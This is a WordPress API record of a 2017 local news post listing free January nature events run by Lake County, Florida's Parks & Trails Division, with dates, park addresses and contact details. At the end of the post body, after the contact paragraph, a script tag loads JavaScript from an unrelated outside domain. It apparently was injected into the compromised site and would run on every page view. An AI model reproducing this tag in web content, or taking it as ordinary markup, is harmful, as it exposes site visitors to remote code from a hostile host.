{"id":211455,"date":"2017-01-05T10:25:13","date_gmt":"2017-01-05T15:25:13","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=211455"},"modified":"2017-11-04T15:02:02","modified_gmt":"2017-11-04T19:02:02","slug":"residents-encouraged-kick-off-new-year-exploring-lake-county-parks-trails","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/residents-encouraged-kick-off-new-year-exploring-lake-county-parks-trails\/","title":{"rendered":"Residents encouraged to kick off the new year by exploring Lake County Parks &#038; Trails"},"content":{"rendered":"<p><strong>TAVARES<\/strong> \u2014Whether resolving to embark on a personal fitness journey in 2017 or simply interested in exploring Lake County\u2019s unique natural resources, the Lake County Parks &amp; Trails Division is offering free guided events allowing residents and visitors to get active while viewing native plants and wildlife.<\/p>\n<ul>\n<li><strong>Science Saturday<\/strong><br \/>\n<strong><em><span data-term=\"goog_641692354\">Saturday, Jan. 7<\/span> from <span data-term=\"goog_641692355\">9-11 a.m.<\/span><br \/>\n<span data-term=\"goog_641692356\">Saturday, Jan. 14<\/span> from <span data-term=\"goog_641692357\">9-11 a.m.<\/span><br \/>\n<span data-term=\"goog_641692358\">Saturday, Jan. 28<\/span> from <span data-term=\"goog_641692359\">9-11 a.m.<\/span><\/em><\/strong><em><br \/>\n<\/em>Ellis Acres Reserve<br \/>\n25302 County Road 42, Paisley<br \/>\nThis adventure of exploration and discovery helps kids brush up on science. Topics discussed include arthropod adaptations, animal habitats, outdoor life, aquatic organisms and more.<\/li>\n<\/ul>\n<ul>\n<li><strong>After Dark at PEAR Park<\/strong><br \/>\n<strong><em><span data-term=\"goog_641692360\">Wednesday, Jan. 11<\/span> from <span data-term=\"goog_641692361\">7:30-9:30 p.m.<\/span><\/em><\/strong><br \/>\nPEAR Park Wildlife Conservation Area<br \/>\n4800 University Ave., Leesburg<br \/>\nJoin staff on a moonlit hike to discover the wildlife that reveals itself after the sun sets.<\/li>\n<\/ul>\n<ul>\n<li><strong>Crooked River Paddling Adventure<\/strong><br \/>\n<strong><em><span data-term=\"goog_641692362\">Friday, Jan. 13<\/span> from <span data-term=\"goog_641692363\">9 a.m. \u2013 noon<\/span><\/em><\/strong><br \/>\nCrooked River Preserve<br \/>\n11121 Lake Louisa Road, Clermont<br \/>\nLake County Water Authority naturalists lead this post-holiday paddle showcasing the county\u2019s unique natural resources and waterways.<\/li>\n<li><strong>PEAR Park Nature Center Open House<\/strong><br \/>\n<strong><em><span data-term=\"goog_641692364\">Saturday, Jan. 14<\/span> from <span data-term=\"goog_641692365\">9 a.m. &#8211; 3 p.m.<\/span><br \/>\n<\/em><\/strong>PEAR Park Wildlife Conservation Area<br \/>\n4800 University Ave., Leesburg<br \/>\nExplore the nature center, which features a collection of rocks, minerals, fossils, sand and shells that may be viewed under a microscope.<\/li>\n<li><strong>Mini Course on Identifying Minerals<\/strong><br \/>\n<strong><em><span data-term=\"goog_641692366\">Saturday, Jan. 14<\/span> from <span data-term=\"goog_641692367\">10 a.m. &#8211; 2 p.m.<\/span><br \/>\n<\/em><\/strong>PEAR Park Wildlife Conservation Area<br \/>\n4800 University Ave., Leesburg<br \/>\nKids ages 10 and up accompanied by an adult can take a mini course on identifying minerals with retired science teacher and volunteer Gene Bouley.<\/li>\n<li><strong>Quarterly Bird &amp; Butterfly Survey<\/strong><br \/>\n<strong><em><span data-term=\"goog_641692368\">Saturday, Jan. 14<\/span> from <span data-term=\"goog_641692369\">7:30-11 a.m.<\/span><\/em><\/strong><br \/>\nPEAR Park Wildlife Conservation Area<br \/>\n4800 University Ave., Leesburg<br \/>\n<strong><em><span data-term=\"goog_641692370\">Saturday, Jan. 28<\/span> from <span data-term=\"goog_641692371\">7:30-11 a.m.<\/span><\/em><\/strong><em><br \/>\n<\/em>Ferndale Preserve<br \/>\n19220 County Road 455, Ferndale<br \/>\nVolunteers are invited to assist in surveying the park\u2019s birds and butterflies. Participants should bring binoculars and field guides. Experience is a plus, but not required.<\/li>\n<\/ul>\n<ul>\n<li><strong>Kids Hiking Trip<\/strong><br \/>\n<strong><em><span data-term=\"goog_641692372\">Saturday, Jan. 21<\/span> from <span data-term=\"goog_641692373\">9-10:30 a.m.<\/span><\/em><\/strong><br \/>\nPEAR Park Gateway<br \/>\n26701 U.S. Highway 27, Leesburg<br \/>\nKids will learn safety tips and proper gear needed for a fun hike through the woods.<\/li>\n<\/ul>\n<ul>\n<li><strong>Ellis Acres Reserve Nature Hike<\/strong><br \/>\n<strong><em><span data-term=\"goog_641692374\">Sunday, Jan. 22<\/span> from <span data-term=\"goog_641692375\">9-11 a.m.<\/span><\/em><\/strong><br \/>\nEllis Acres Reserve<br \/>\n25302 County Road 42, Paisley<br \/>\nHikers will learn about the ecology of the uplands and wetlands of this property, which is home to black bears, sandhill cranes, wild turkeys and white-tailed deer.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p>To make a reservation for any Parks &amp; Trails event, visit <a href=\"http:\/\/bit.ly\/1rFvqOP\" data-saferedirecturl=\"https:\/\/www.google.com\/url?hl=en&amp;q=http:\/\/bit.ly\/1rFvqOP&amp;source=gmail&amp;ust=1483654913046000&amp;usg=AFQjCNHktsLd90o0WRagd8V-XxeEgRJ8xw\">http:\/\/bit.ly\/1rFvqOP<\/a>. For more information about the Lake County Parks &amp; Trails Division, call <a href=\"tel:(352)%20253-4950\">352-253-4950<\/a>, email<a href=\"mailto:parksandtrails@lakecountyfl.gov\">parksandtrails@lakecountyfl.gov<\/a> or visit <a href=\"http:\/\/www.facebook.com\/LakeCountyFLParks\" data-saferedirecturl=\"https:\/\/www.google.com\/url?hl=en&amp;q=http:\/\/www.facebook.com\/LakeCountyFLParks&amp;source=gmail&amp;ust=1483654913046000&amp;usg=AFQjCNE6Dxg5U3anvRXbL_OupyL02OKnCA\">www.facebook.com\/LakeCountyFLParks<\/a>.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>TAVARES \u2014Whether resolving to embark on a personal fitness journey in 2017 or simply interested in exploring Lake County\u2019s unique natural resources, the Lake County&#8230;<\/p>\n","protected":false},"author":26806,"featured_media":211456,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[6,1],"tags":[],"class_list":["post-211455","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-lake-county","category-local","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2017\/01\/paddle.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/211455","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/26806"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=211455"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/211455\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/211456"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=211455"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=211455"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=211455"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}